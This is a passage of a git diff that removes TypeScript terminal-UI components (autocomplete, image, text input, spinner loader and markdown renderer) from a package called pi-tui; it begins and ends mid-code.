this.debouncedUpdateAutocompleteSuggestions(); - return; - } - - this.applyAutocompleteSuggestions(); - } - - private debouncedUpdateAutocompleteSuggestions(): void { - // Clear any pending debounce - if (this.autocompleteDebounceTimer) { - clearTimeout(this.autocompleteDebounceTimer); - this.autocompleteDebounceTimer = null; - } - - this.autocompleteDebounceTimer = setTimeout(() => { - this.autocompleteDebounceTimer = null; - // Guard: autocomplete may have been cancelled during debounce wait - if (!this.autocompleteState || !this.autocompleteProvider) return; - this.applyAutocompleteSuggestions(); - this.tui.requestRender(); - }, Editor.AUTOCOMPLETE_DEBOUNCE_MS); - } - - private applyAutocompleteSuggestions(): void { - if (!this.autocompleteProvider) return; - - // Deduplicate: skip the (potentially expensive synchronous) lookup - // when the prefix hasn't changed since the last call. - const currentLine = this.state.lines[this.state.cursorLine] || ""; - const textBeforeCursor = currentLine.slice(0, this.state.cursorCol); - if ( - this.lastAutocompleteLookupPrefix !== null && - this.lastAutocompleteLookupPrefix === textBeforeCursor - ) { - return; - } - this.lastAutocompleteLookupPrefix = textBeforeCursor; - - const suggestions = this.autocompleteProvider.getSuggestions( - this.state.lines, - this.state.cursorLine, - this.state.cursorCol, - ); - if (suggestions && suggestions.items.length > 0) { - this.autocompletePrefix = suggestions.prefix; - // Always create new SelectList to ensure update - this.autocompleteList = new SelectList( - suggestions.items, - this.autocompleteMaxVisible, - this.theme.selectList, - ); - - // If typed prefix exactly matches one of the suggestions, select that item - const bestMatchIndex = this.getBestAutocompleteMatchIndex( - suggestions.items, - suggestions.prefix, - ); - if (bestMatchIndex >= 0) { - this.autocompleteList.setSelectedIndex(bestMatchIndex); - } - } else { - this.cancelAutocomplete(); - } - } -} diff --git a/packages/pi-tui/src/components/image.test.ts b/packages/pi-tui/src/components/image.test.ts deleted file mode 100644 index f8afd7dd0..000000000 --- a/packages/pi-tui/src/components/image.test.ts +++ /dev/null @@ -1,42 +0,0 @@ -/** - * Regression test for #3455: Image component must not trigger infinite - * re-render loop when dimensions resolve in cmux sessions. - */ - -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { Image } from "./image.js"; - -describe("Image component (#3455)", () => { - const theme = { fallbackColor: (s: string) => s }; - - test("getDimensions returns undefined before resolution", () => { - // Pass explicit dimensions to avoid async parsing - const img = new Image("base64data", "image/png", theme, {}); - // Without explicit dims, getDimensions should be undefined until async resolve - // But we can't easily test async here, so verify the method exists - assert.equal(typeof img.getDimensions, "function"); - }); - - test("getDimensions returns dimensions when provided at construction", () => { - const dims = { widthPx: 100, heightPx: 200 }; - const img = new Image("base64data", "image/png", theme, {}, dims); - const result = img.getDimensions(); - assert.deepEqual(result, dims, "Should return provided dimensions"); - }); - - test("onDimensionsResolved callback is not called when dimensions provided", () => { - let callCount = 0; - const dims = { widthPx: 100, heightPx: 200 }; - const img = new Image("base64data", "image/png", theme, {}, dims); - img.setOnDimensionsResolved(() => { - callCount++; - }); - // With pre-resolved dims, the async path is skipped entirely - assert.equal( - callCount, - 0, - "Callback should not fire for pre-resolved dimensions", - ); - }); -}); diff --git a/packages/pi-tui/src/components/image.ts b/packages/pi-tui/src/components/image.ts deleted file mode 100644 index 3c35c97ca..000000000 --- a/packages/pi-tui/src/components/image.ts +++ /dev/null @@ -1,139 +0,0 @@ -import { - getCapabilities, - getImageDimensions, - type ImageDimensions, - imageFallback, - renderImage, -} from "../terminal-image.js"; -import type { Component } from "../tui.js"; - -export interface ImageTheme { - fallbackColor: (str: string) => string; -} - -export interface ImageOptions { - maxWidthCells?: number; - maxHeightCells?: number; - filename?: string; - /** Kitty image ID. If provided, reuses this ID (for animations/updates). */ - imageId?: number; -} - -export class Image implements Component { - private base64Data: string; - private mimeType: string; - private dimensions: ImageDimensions; - private theme: ImageTheme; - private options: ImageOptions; - private imageId?: number; - private dimensionsResolved = false; - private onDimensionsResolved?: () => void; - - private cachedLines?: string[]; - private cachedWidth?: number; - - constructor( - base64Data: string, - mimeType: string, - theme: ImageTheme, - options: ImageOptions = {}, - dimensions?: ImageDimensions, - ) { - this.base64Data = base64Data; - this.mimeType = mimeType; - this.theme = theme; - this.options = options; - this.dimensions = dimensions || { widthPx: 800, heightPx: 600 }; - this.dimensionsResolved = !!dimensions; - this.imageId = options.imageId; - - if (!dimensions) { - getImageDimensions(base64Data).then((dims) => { - if (dims) { - this.dimensions = dims; - this.dimensionsResolved = true; - this.invalidate(); - this.onDimensionsResolved?.(); - } - }); - } - } - - /** - * Register a callback invoked when async dimension parsing completes. - * Useful for triggering a re-render after the Image updates its layout. - */ - setOnDimensionsResolved(cb: () => void): void { - this.onDimensionsResolved = cb; - } - - /** Get the Kitty image ID used by this image (if any). */ - getImageId(): number | undefined { - return this.imageId; - } - - /** Get the resolved image dimensions (for caching across recreations). */ - getDimensions(): ImageDimensions | undefined { - return this.dimensionsResolved ? this.dimensions : undefined; - } - - invalidate(): void { - this.cachedLines = undefined; - this.cachedWidth = undefined; - } - - render(width: number): string[] { - if (this.cachedLines && this.cachedWidth === width) { - return this.cachedLines; - } - - const maxWidth = Math.min(width - 2, this.options.maxWidthCells ?? 60); - - const caps = getCapabilities(); - let lines: string[]; - - if (caps.images) { - const result = renderImage(this.base64Data, this.dimensions, { - maxWidthCells: maxWidth, - imageId: this.imageId, - }); - - if (result) { - // Store the image ID for later cleanup - if (result.imageId) { - this.imageId = result.imageId; - } - - // Return `rows` lines so TUI accounts for image height - // First (rows-1) lines are empty (TUI clears them) - // Last line: move cursor back up, then output image sequence - lines = []; - for (let i = 0; i < result.rows - 1; i++) { - lines.push(""); - } - // Move cursor up to first row, then output image - const moveUp = result.rows > 1 ? `\x1b[${result.rows - 1}A` : ""; - lines.push(moveUp + result.sequence); - } else { - const fallback = imageFallback( - this.mimeType, - this.dimensions, - this.options.filename, - ); - lines = [this.theme.fallbackColor(fallback)]; - } - } else { - const fallback = imageFallback( - this.mimeType, - this.dimensions, - this.options.filename, - ); - lines = [this.theme.fallbackColor(fallback)]; - } - - this.cachedLines = lines; - this.cachedWidth = width; - - return lines; - } -} diff --git a/packages/pi-tui/src/components/input.ts b/packages/pi-tui/src/components/input.ts deleted file mode 100644 index 26d9ea6f9..000000000 --- a/packages/pi-tui/src/components/input.ts +++ /dev/null @@ -1,590 +0,0 @@ -import { getEditorKeybindings } from "../keybindings.js"; -import { decodeKittyPrintable } from "../keys.js"; -import { KillRing } from "../kill-ring.js"; -import { type Component, CURSOR_MARKER, type Focusable } from "../tui.js"; -import { UndoStack } from "../undo-stack.js"; -import { - getSegmenter, - isPunctuationChar, - isWhitespaceChar, - visibleWidth, -} from "../utils.js"; - -const segmenter = getSegmenter(); - -interface InputState { - value: string; - cursor: number; -} - -/** - * Input component - single-line text input with horizontal scrolling - */ -export class Input implements Component, Focusable { - private value: string = ""; - private cursor: number = 0; // Cursor position in the value - public onSubmit?: (value: string) => void; - public onEscape?: () => void; - public placeholder: string = ""; - /** When true, render obscured characters instead of the actual value. */ - public secure: boolean = false; - - /** Focusable interface - set by TUI when focus changes */ - private _focused: boolean = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - if (!value) { - this.isInPaste = false; - this.pasteBuffer = ""; - } - } - - // Bracketed paste mode buffering - private pasteBuffer: string = ""; - private isInPaste: boolean = false; - - // Kill ring for Emacs-style kill/yank operations - private killRing = new KillRing(); - private lastAction: "kill" | "yank" | "type-word" | null = null; - - // Undo support - private undoStack = new UndoStack(); - - getValue(): string { - return this.value; - } - - setValue(value: string): void { - this.value = value; - this.cursor = Math.min(this.cursor, value.length); - } - - handleInput(data: string): void { - // Handle bracketed paste mode - // Start of paste: \x1b[200~ - // End of paste: \x1b[201~ - - // Check if we're starting a bracketed paste - if (data.includes("\x1b[200~")) { - this.isInPaste = true; - this.pasteBuffer = ""; - data = data.replace("\x1b[200~", ""); - } - - // If we're in a paste, buffer the data - if (this.isInPaste) { - // Check if this chunk contains the end marker - this.pasteBuffer += data; - - const endIndex = this.pasteBuffer.indexOf("\x1b[201~"); - if (endIndex !== -1) { - // Extract the pasted content - const pasteContent = this.pasteBuffer.substring(0, endIndex); - - // Process the complete paste - this.handlePaste(pasteContent); - - // Reset paste state - this.isInPaste = false; - - // Handle any remaining input after the paste marker - const remaining = this.pasteBuffer.substring(endIndex + 6); // 6 = length of \x1b[201~ - this.pasteBuffer = ""; - if (remaining) { - this.handleInput(remaining); - } - } - return; - } - - const kb = getEditorKeybindings(); - - // Escape/Cancel - if (kb.matches(data, "selectCancel")) { - if (this.onEscape) this.onEscape(); - return; - } - - // Undo - if (kb.matches(data, "undo")) { - this.undo(); - return; - } - - // Submit - if (kb.matches(data, "submit") || data === "\n") { - if (this.onSubmit) this.onSubmit(this.value); - return; - } - - // Deletion - if (kb.matches(data, "deleteCharBackward")) { - this.handleBackspace(); - return; - } - - if (kb.matches(data, "deleteCharForward")) { - this.handleForwardDelete(); - return; - } - - if (kb.matches(data, "deleteWordBackward")) { - this.deleteWordBackwards(); - return; - } - - if (kb.matches(data, "deleteWordForward")) { - this.deleteWordForward(); - return; - } - - if (kb.matches(data, "deleteToLineStart")) { - this.deleteToLineStart(); - return; - } - - if (kb.matches(data, "deleteToLineEnd")) { - this.deleteToLineEnd(); - return; - } - - // Kill ring actions - if (kb.matches(data, "yank")) { - this.yank(); - return; - } - if (kb.matches(data, "yankPop")) { - this.yankPop(); - return; - } - - // Cursor movement - if (kb.matches(data, "cursorLeft")) { - this.lastAction = null; - if (this.cursor > 0) { - const beforeCursor = this.value.slice(0, this.cursor); - const graphemes = [...segmenter.segment(beforeCursor)]; - const lastGrapheme = graphemes[graphemes.length - 1]; - this.cursor -= lastGrapheme ? lastGrapheme.segment.length : 1; - } - return; - } - - if (kb.matches(data, "cursorRight")) { - this.lastAction = null; - if (this.cursor < this.value.length) { - const afterCursor = this.value.slice(this.cursor); - const graphemes = [...segmenter.segment(afterCursor)]; - const firstGrapheme = graphemes[0]; - this.cursor += firstGrapheme ? firstGrapheme.segment.length : 1; - } - return; - } - - if (kb.matches(data, "cursorLineStart")) { - this.lastAction = null; - this.cursor = 0; - return; - } - - if (kb.matches(data, "cursorLineEnd")) { - this.lastAction = null; - this.cursor = this.value.length; - return; - } - - if (kb.matches(data, "cursorWordLeft")) { - this.moveWordBackwards(); - return; - } - - if (kb.matches(data, "cursorWordRight")) { - this.moveWordForwards(); - return; - } - - // Kitty CSI-u printable character (e.g. \x1b[97u for 'a'). - // Terminals with Kitty protocol flag 1 (disambiguate) send CSI-u for all keys, - // including plain printable characters. Decode before the control-char check - // since CSI-u sequences contain \x1b which would be rejected. - const kittyPrintable = decodeKittyPrintable(data); - if (kittyPrintable !== undefined) { - this.insertCharacter(kittyPrintable); - return; - } - - // Regular character input - accept printable characters including Unicode, - // but reject control characters (C0: 0x00-0x1F, DEL: 0x7F, C1: 0x80-0x9F) - const hasControlChars = [...data].some((ch) => { - const code = ch.charCodeAt(0); - return code < 32 || code === 0x7f || (code >= 0x80 && code <= 0x9f); - }); - if (!hasControlChars) { - this.insertCharacter(data); - } - } - - private insertCharacter(char: string): void { - // Undo coalescing: consecutive word chars coalesce into one undo unit - if (isWhitespaceChar(char) || this.lastAction !== "type-word") { - this.pushUndo(); - } - this.lastAction = "type-word"; - - this.value = - this.value.slice(0, this.cursor) + char + this.value.slice(this.cursor); - this.cursor += char.length; - } - - private handleBackspace(): void { - this.lastAction = null; - if (this.cursor > 0) { - this.pushUndo(); - const beforeCursor = this.value.slice(0, this.cursor); - const graphemes = [...segmenter.segment(beforeCursor)]; - const lastGrapheme = graphemes[graphemes.length - 1]; - const graphemeLength = lastGrapheme ? lastGrapheme.segment.length : 1; - this.value = - this.value.slice(0, this.cursor - graphemeLength) + - this.value.slice(this.cursor); - this.cursor -= graphemeLength; - } - } - - private handleForwardDelete(): void { - this.lastAction = null; - if (this.cursor < this.value.length) { - this.pushUndo(); - const afterCursor = this.value.slice(this.cursor); - const graphemes = [...segmenter.segment(afterCursor)]; - const firstGrapheme = graphemes[0]; - const graphemeLength = firstGrapheme ? firstGrapheme.segment.length : 1; - this.value = - this.value.slice(0, this.cursor) + - this.value.slice(this.cursor + graphemeLength); - } - } - - private deleteToLineStart(): void { - if (this.cursor === 0) return; - this.pushUndo(); - const deletedText = this.value.slice(0, this.cursor); - this.killRing.push(deletedText, { - prepend: true, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - this.value = this.value.slice(this.cursor); - this.cursor = 0; - } - - private deleteToLineEnd(): void { - if (this.cursor >= this.value.length) return; - this.pushUndo(); - const deletedText = this.value.slice(this.cursor); - this.killRing.push(deletedText, { - prepend: false, - accumulate: this.lastAction === "kill", - }); - this.lastAction = "kill"; - this.value = this.value.slice(0, this.cursor); - } - - private deleteWordBackwards(): void { - if (this.cursor === 0) return; - - // Save lastAction before cursor movement (moveWordBackwards resets it) - const wasKill = this.lastAction === "kill"; - - this.pushUndo(); - - const oldCursor = this.cursor; - this.moveWordBackwards(); - const deleteFrom = this.cursor; - this.cursor = oldCursor; - - const deletedText = this.value.slice(deleteFrom, this.cursor); - this.killRing.push(deletedText, { prepend: true, accumulate: wasKill }); - this.lastAction = "kill"; - - this.value = - this.value.slice(0, deleteFrom) + this.value.slice(this.cursor); - this.cursor = deleteFrom; - } - - private deleteWordForward(): void { - if (this.cursor >= this.value.length) return; - - // Save lastAction before cursor movement (moveWordForwards resets it) - const wasKill = this.lastAction === "kill"; - - this.pushUndo(); - - const oldCursor = this.cursor; - this.moveWordForwards(); - const deleteTo = this.cursor; - this.cursor = oldCursor; - - const deletedText = this.value.slice(this.cursor, deleteTo); - this.killRing.push(deletedText, { prepend: false, accumulate: wasKill }); - this.lastAction = "kill"; - - this.value = this.value.slice(0, this.cursor) + this.value.slice(deleteTo); - } - - private yank(): void { - const text = this.killRing.peek(); - if (!text) return; - - this.pushUndo(); - - this.value = - this.value.slice(0, this.cursor) + text + this.value.slice(this.cursor); - this.cursor += text.length; - this.lastAction = "yank"; - } - - private yankPop(): void { - if (this.lastAction !== "yank" || this.killRing.length <= 1) return; - - this.pushUndo(); - - // Delete the previously yanked text (still at end of ring before rotation) - const prevText = this.killRing.peek() || ""; - this.value = - this.value.slice(0, this.cursor - prevText.length) + - this.value.slice(this.cursor); - this.cursor -= prevText.length; - - // Rotate and insert new entry - this.killRing.rotate(); - const text = this.killRing.peek() || ""; - this.value = - this.value.slice(0, this.cursor) + text + this.value.slice(this.cursor); - this.cursor += text.length; - this.lastAction = "yank"; - } - - private pushUndo(): void { - this.undoStack.push({ value: this.value, cursor: this.cursor }); - } - - private undo(): void { - const snapshot = this.undoStack.pop(); - if (!snapshot) return; - this.value = snapshot.value; - this.cursor = snapshot.cursor; - this.lastAction = null; - } - - private moveWordBackwards(): void { - if (this.cursor === 0) { - return; - } - - this.lastAction = null; - const textBeforeCursor = this.value.slice(0, this.cursor); - const graphemes = [...segmenter.segment(textBeforeCursor)]; - - // Skip trailing whitespace - while ( - graphemes.length > 0 && - isWhitespaceChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - this.cursor -= graphemes.pop()?.segment.length || 0; - } - - if (graphemes.length > 0) { - const lastGrapheme = graphemes[graphemes.length - 1]?.segment || ""; - if (isPunctuationChar(lastGrapheme)) { - // Skip punctuation run - while ( - graphemes.length > 0 && - isPunctuationChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - this.cursor -= graphemes.pop()?.segment.length || 0; - } - } else { - // Skip word run - while ( - graphemes.length > 0 && - !isWhitespaceChar(graphemes[graphemes.length - 1]?.segment || "") && - !isPunctuationChar(graphemes[graphemes.length - 1]?.segment || "") - ) { - this.cursor -= graphemes.pop()?.segment.length || 0; - } - } - } - } - - private moveWordForwards(): void { - if (this.cursor >= this.value.length) { - return; - } - - this.lastAction = null; - const textAfterCursor = this.value.slice(this.cursor); - const segments = segmenter.segment(textAfterCursor); - const iterator = segments[Symbol.iterator](); - let next = iterator.next(); - - // Skip leading whitespace - while (!next.done && isWhitespaceChar(next.value.segment)) { - this.cursor += next.value.segment.length; - next = iterator.next(); - } - - if (!next.done) { - const firstGrapheme = next.value.segment; - if (isPunctuationChar(firstGrapheme)) { - // Skip punctuation run - while (!next.done && isPunctuationChar(next.value.segment)) { - this.cursor += next.value.segment.length; - next = iterator.next(); - } - } else { - // Skip word run - while ( - !next.done && - !isWhitespaceChar(next.value.segment) && - !isPunctuationChar(next.value.segment) - ) { - this.cursor += next.value.segment.length; - next = iterator.next(); - } - } - } - } - - private handlePaste(pastedText: string): void { - this.lastAction = null; - this.pushUndo(); - - // Clean the pasted text - remove newlines and carriage returns - const cleanText = pastedText - .replace(/\r\n/g, "") - .replace(/\r/g, "") - .replace(/\n/g, ""); - - // Insert at cursor position - this.value = - this.value.slice(0, this.cursor) + - cleanText + - this.value.slice(this.cursor); - this.cursor += cleanText.length; - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(width: number): string[] { - // Calculate visible window - const prompt = "> "; - const availableWidth = width - prompt.length; - const renderValue = this.secure - ? "*".repeat(this.value.length) - : this.value; - - if (availableWidth <= 0) { - return [prompt]; - } - - // Show placeholder when value is empty - if (this.value === "" && this.placeholder) { - const placeholderText = this.placeholder.slice(0, availableWidth - 1); - const marker = this.focused ? CURSOR_MARKER : ""; - const cursorChar = "\x1b[7m \x1b[27m"; // inverse space for cursor - const dimPlaceholder = `\x1b[2m${placeholderText}\x1b[22m`; // dim text - const padding = " ".repeat( - Math.max(0, availableWidth - visibleWidth(placeholderText) - 1), - ); - return [prompt + marker + cursorChar + dimPlaceholder + padding]; - } - - let visibleText = ""; - let cursorDisplay = this.cursor; - - if (this.value.length < availableWidth) { - // Everything fits (leave room for cursor at end) - visibleText = renderValue; - } else { - // Need horizontal scrolling - // Reserve one character for cursor if it's at the end - const scrollWidth = - this.cursor === this.value.length ? availableWidth - 1 : availableWidth; - const halfWidth = Math.floor(scrollWidth / 2); - - const findValidStart = (start: number) => { - while (start < this.value.length) { - const charCode = this.value.charCodeAt(start); - // this is low surrogate, not a valid start - if (charCode >= 0xdc00 && charCode < 0xe000) { - start++; - continue; - } - break; - } - return start; - }; - - const findValidEnd = (end: number) => { - while (end > 0) { - const charCode = this.value.charCodeAt(end - 1); - // this is high surrogate, might be split. - if (charCode >= 0xd800 && charCode < 0xdc00) { - end--; - continue; - } - break; - } - return end; - }; - - if (this.cursor < halfWidth) { - // Cursor near start - visibleText = renderValue.slice(0, findValidEnd(scrollWidth)); - cursorDisplay = this.cursor; - } else if (this.cursor > this.value.length - halfWidth) { - // Cursor near end - const start = findValidStart(this.value.length - scrollWidth); - visibleText = renderValue.slice(start); - cursorDisplay = this.cursor - start; - } else { - // Cursor in middle - const start = findValidStart(this.cursor - halfWidth); - visibleText = renderValue.slice( - start, - findValidEnd(start + scrollWidth), - ); - cursorDisplay = halfWidth; - } - } - - // Build line with fake cursor - // Insert cursor character at cursor position - const graphemes = [...segmenter.segment(visibleText.slice(cursorDisplay))]; - const cursorGrapheme = graphemes[0]; - - const beforeCursor = visibleText.slice(0, cursorDisplay); - const atCursor = cursorGrapheme?.segment ?? " "; // Character at cursor, or space if at end - const afterCursor = visibleText.slice(cursorDisplay + atCursor.length); - - // Hardware cursor marker (zero-width, emitted before fake cursor for IME positioning) - const marker = this.focused ? CURSOR_MARKER : ""; - - // Use inverse video to show cursor - const cursorChar = `\x1b[7m${atCursor}\x1b[27m`; // ESC[7m = reverse video, ESC[27m = normal - const textWithCursor = beforeCursor + marker + cursorChar + afterCursor; - - // Calculate visual width - const visualLength = visibleWidth(textWithCursor); - const padding = " ".repeat(Math.max(0, availableWidth - visualLength)); - const line = prompt + textWithCursor + padding; - - return [line]; - } -} diff --git a/packages/pi-tui/src/components/loader.ts b/packages/pi-tui/src/components/loader.ts deleted file mode 100644 index 9f5097dc8..000000000 --- a/packages/pi-tui/src/components/loader.ts +++ /dev/null @@ -1,94 +0,0 @@ -import type { TUI } from "../tui.js"; -import { Text } from "./text.js"; - -/** - * Loader component that updates every 80ms with spinning animation. - * Frame rotation is isolated from message text to avoid invalidating - * Text's render cache (wrapTextWithAnsi, visibleWidth) on every tick. - */ -export class Loader extends Text { - private frames = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]; - private currentFrame = 0; - private intervalId: NodeJS.Timeout | null = null; - private ui: TUI | null = null; - private _lastMessage: string = ""; - private visible = true; - - constructor( - ui: TUI, - private spinnerColorFn: (str: string) => string, - private messageColorFn: (str: string) => string, - private message: string = "Loading...", - ) { - super("", 1, 0); - this.ui = ui; - this.start(); - } - - render(width: number): string[] { - if (!this.visible) { - return []; - } - // Only update Text content when message actually changes — - // frame rotation is prepended below without touching the cache - if (this.message !== this._lastMessage) { - this.setText(this.messageColorFn(this.message)); - this._lastMessage = this.message; - } - const messageLines = super.render(width); - // Shallow copy so we don't mutate cachedLines from Text - const result = ["", ...messageLines]; - // Prepend spinner frame to first content line - if (result.length > 1) { - const frame = this.frames[this.currentFrame]; - result[1] = this.spinnerColorFn(frame) + " " + result[1]; - } - return result; - } - - start() { - if (this.intervalId) { - clearInterval(this.intervalId); - } - this.currentFrame = 0; - this.intervalId = setInterval(() => { - this.currentFrame = (this.currentFrame + 1) % this.frames.length; - if (this.ui && this.visible) { - this.ui.requestRender(); - } - }, 80); - // Trigger initial render - if (this.ui) { - this.ui.requestRender(); - } - } - - stop() { - if (this.intervalId) { - clearInterval(this.intervalId); - this.intervalId = null; - } - } - - dispose() { - this.stop(); - this.ui = null; - } - - setMessage(message: string) { - this.message = message; - if (this.ui) { - this.ui.requestRender(); - } - } - - setVisible(visible: boolean) { - if (this.visible === visible) { - return; - } - this.visible = visible; - if (this.ui) { - this.ui.requestRender(); - } - } -} diff --git a/packages/pi-tui/src/components/markdown.ts b/packages/pi-tui/src/components/markdown.ts deleted file mode 100644 index c39c26379..000000000 --- a/packages/pi-tui/src/components/markdown.ts +++ /dev/null @@ -1,950 +0,0 @@ -import { marked, type Token } from "marked"; -import { isImageLine } from "../terminal-image.js"; -import type { Component } from "../tui.js"; -import { - applyBackgroundToLine, - truncateToWidth, - visibleWidth, - wrapTextWithAnsi, -} from "../utils.js"; - -/** - * Default text styling for markdown content. - * Applied to all text unless overridden by markdown formatting. - */ -export interface DefaultTextStyle { - /** Foreground color function */ - color?: (text: string) => string; - /** Background color function */ - bgColor?: (text: string) => string; - /** Bold text */ - bold?: boolean; - /** Italic text */ - italic?: boolean; - /** Strikethrough text */ - strikethrough?: boolean; - /** Underline text */ - underline?: boolean; -} - -/** - * Theme functions for markdown elements. - * Each function takes text and returns styled text with ANSI codes. - */ -export interface MarkdownTheme { - heading: (text: string) => string; - link: (text: string) => string; - linkUrl: (text: string) => string; - code: (text: string) => string; - codeBlock: (text: string) => string; - codeBlockBorder: (text: string) => string; - quote: (text: string) => string; - quoteBorder: (text: string) => string; - hr: (text: string) => string; - listBullet: (text: string) => string; - bold: (text: string) => string; - italic: (text: string) => string; - strikethrough: (text: string) => string; - underline: (text: string) => string; - highlightCode?: (code: string, lang?: string) => string[]; - /** Prefix applied to each rendered code block line (default: " ") */ - codeBlockIndent?: string; -} - -interface InlineStyleContext { - applyText: (text: string) => string; - stylePrefix: string; -} - -export class Markdown implements Component { - private text: string; - private paddingX: number; // Left/right padding - private paddingY: number; // Top/bottom padding - private defaultTextStyle?: DefaultTextStyle; - private theme: MarkdownTheme; - private defaultStylePrefix?: string; - /** Maximum rendered lines (excluding padding). When set, content is truncated from the top with an ellipsis indicator so the most recent output remains visible. */ - maxLines?: number; - - // Cache for rendered output - private cachedText?: string; - private cachedWidth?: number; - private cachedMaxLines?: number; - private cachedLines?: string[]; - - constructor( - text: string, - paddingX: number, - paddingY: number, - theme: MarkdownTheme, - defaultTextStyle?: DefaultTextStyle, - ) { - this.text = text; - this.paddingX = paddingX; - this.paddingY = paddingY; - this.theme = theme; - this.defaultTextStyle = defaultTextStyle; - } - - setText(text: string): void { - this.text = text; - this.invalidate(); - } - - invalidate(): void { - this.cachedText = undefined; - this.cachedWidth = undefined; - this.cachedMaxLines = undefined; - this.cachedLines = undefined; - } - - render(width: number): string[] { - // Check cache - if ( - this.cachedLines && - this.cachedText === this.text && - this.cachedWidth === width && - this.cachedMaxLines === this.maxLines - ) { - return this.cachedLines; - } - - // Calculate available width for content (subtract horizontal padding) - const contentWidth = Math.max(1, width - this.paddingX * 2); - - // Don't render anything if there's no actual text - if (!this.text || this.text.trim() === "") { - const result: string[] = []; - // Update cache - this.cachedText = this.text; - this.cachedWidth = width; - this.cachedMaxLines = this.maxLines; - this.cachedLines = result; - return result; - } - - // Replace tabs with 3 spaces for consistent rendering - const normalizedText = this.text.replace(/\t/g, " "); - - // Parse markdown to HTML-like tokens - const tokens = marked.lexer(normalizedText); - - // Convert tokens to styled terminal output - const renderedLines: string[] = []; - - for (let i = 0; i < tokens.length; i++) { - const token = tokens[i]; - const nextToken = tokens[i + 1]; - const tokenLines = this.renderToken(token, contentWidth, nextToken?.type); - for (let j = 0; j < tokenLines.length; j++) - renderedLines.push(tokenLines[j]); - } - - // Trim trailing empty lines — inter-block spacing at the end just adds - // unwanted whitespace before whatever follows (e.g. pinned output border). - while ( - renderedLines.length > 0 && - renderedLines[renderedLines.length - 1] === "" - ) { - renderedLines.pop(); - } - - // Wrap lines (NO padding, NO background yet) - const wrappedLines: string[] = []; - for (const line of renderedLines) { - if (isImageLine(line)) { - wrappedLines.push(line); - } else { - const wrapped = wrapTextWithAnsi(line, contentWidth); - for (const wl of wrapped) { - // Safety net: silently truncate lines that still exceed contentWidth. - // This handles edge cases like code blocks with very long whitespace - // sequences or tokens that wrapTextWithAnsi cannot split further. - // No ellipsis is used (empty string) to avoid visual noise in code output; - // the truncation is intentional and matches the terminal-width safety - // behavior expected from all TUI components. - wrappedLines.push( - visibleWidth(wl) > contentWidth - ? truncateToWidth(wl, contentWidth, "") - : wl, - ); - } - } - } - - // Truncate from the top when maxLines is set so the most recent content - // stays visible. This prevents the pinned output zone from exceeding the - // terminal height and causing render flashing. - if (this.maxLines !== undefined && wrappedLines.length > this.maxLines) { - const keep = Math.max(1, this.maxLines - 1); // Reserve one line for the ellipsis indicator - const truncated = wrappedLines.length - keep; - wrappedLines.splice( - 0, - truncated, - `… ${truncated} line${truncated !== 1 ? "s" : ""} above`, - ); - } - - // Add margins and background to each wrapped line - const leftMargin = " ".repeat(this.paddingX); - const rightMargin = " ".repeat(this.paddingX); - const bgFn = this.defaultTextStyle?.bgColor; - const contentLines: string[] = []; - - for (const line of wrappedLines) { - if (isImageLine(line)) { - contentLines.push(line); - continue; - } - - const lineWithMargins = leftMargin + line + rightMargin; - - if (bgFn) { - contentLines.push(applyBackgroundToLine(lineWithMargins, width, bgFn)); - } else { - // No background - just pad to width - const visibleLen = visibleWidth(lineWithMargins); - const paddingNeeded = Math.max(0, width - visibleLen); - contentLines.push(lineWithMargins + " ".repeat(paddingNeeded)); - } - } - - // Add top/bottom padding (empty lines) - const emptyLine = " ".repeat(width); - const emptyLines: string[] = []; - for (let i = 0; i < this.paddingY; i++) { - const line = bgFn - ? applyBackgroundToLine(emptyLine, width, bgFn) - : emptyLine; - emptyLines.push(line); - } - - // Combine top padding, content, and bottom padding - const result = [...emptyLines, ...contentLines, ...emptyLines]; - - // Update cache - this.cachedText = this.text; - this.cachedWidth = width; - this.cachedMaxLines = this.maxLines; - this.cachedLines = result; - - return result.length > 0 ? result : [""]; - } - - /** - * Apply default text style to a string. - * This is the base styling applied to all text content. - * NOTE: Background color is NOT applied here - it's applied at the padding stage - * to ensure it extends to the full line width. - */ - private applyDefaultStyle(text: string): string { - if (!this.defaultTextStyle) { - return text; - } - - let styled = text; - - // Apply foreground color (NOT background - that's applied at padding stage) - if (this.defaultTextStyle.color) { - styled = this.defaultTextStyle.color(styled); - } - - // Apply text decorations using this.theme - if (this.defaultTextStyle.bold) { - styled = this.theme.bold(styled); - } - if (this.defaultTextStyle.italic) { - styled = this.theme.italic(styled); - } - if (this.defaultTextStyle.strikethrough) { - styled = this.theme.strikethrough(styled); - } - if (this.defaultTextStyle.underline) { - styled = this.theme.underline(styled); - } - - return styled; - } - - private getDefaultStylePrefix(): string { - if (!this.defaultTextStyle) { - return ""; - } - - if (this.defaultStylePrefix !== undefined) { - return this.defaultStylePrefix; - } - - const sentinel = "\u0000"; - let styled = sentinel; - - if (this.defaultTextStyle.color) { - styled = this.defaultTextStyle.color(styled); - } - - if (this.defaultTextStyle.bold) { - styled = this.theme.bold(styled); - } - if (this.defaultTextStyle.italic) { - styled = this.theme.italic(styled); - } - if (this.defaultTextStyle.strikethrough) { - styled = this.theme.strikethrough(styled); - } - if (this.defaultTextStyle.underline) { - styled = this.theme.underline(styled); - } - - const sentinelIndex = styled.indexOf(sentinel); - this.defaultStylePrefix = - sentinelIndex >= 0 ? styled.slice(0, sentinelIndex) : ""; - return this.defaultStylePrefix; - } - - private getStylePrefix(styleFn: (text: string) => string): string { - const sentinel = "\u0000"; - const styled = styleFn(sentinel); - const sentinelIndex = styled.indexOf(sentinel); - return sentinelIndex >= 0 ? styled.slice(0, sentinelIndex) : ""; - } - - private getDefaultInlineStyleContext(): InlineStyleContext { - return { - applyText: (text: string) => this.applyDefaultStyle(text), - stylePrefix: this.getDefaultStylePrefix(), - }; - } - - private renderToken( - token: Token, - width: number, - nextTokenType?: string, - styleContext?: InlineStyleContext, - ): string[] { - const lines: string[] = []; - - switch (token.type) { - case "heading": { - const headingLevel = token.depth; - const headingPrefix = `${"#".repeat(headingLevel)} `; - const headingText = this.renderInlineTokens( - token.tokens || [], - styleContext, - ); - let styledHeading: string; - if (headingLevel === 1) { - styledHeading = this.theme.heading( - 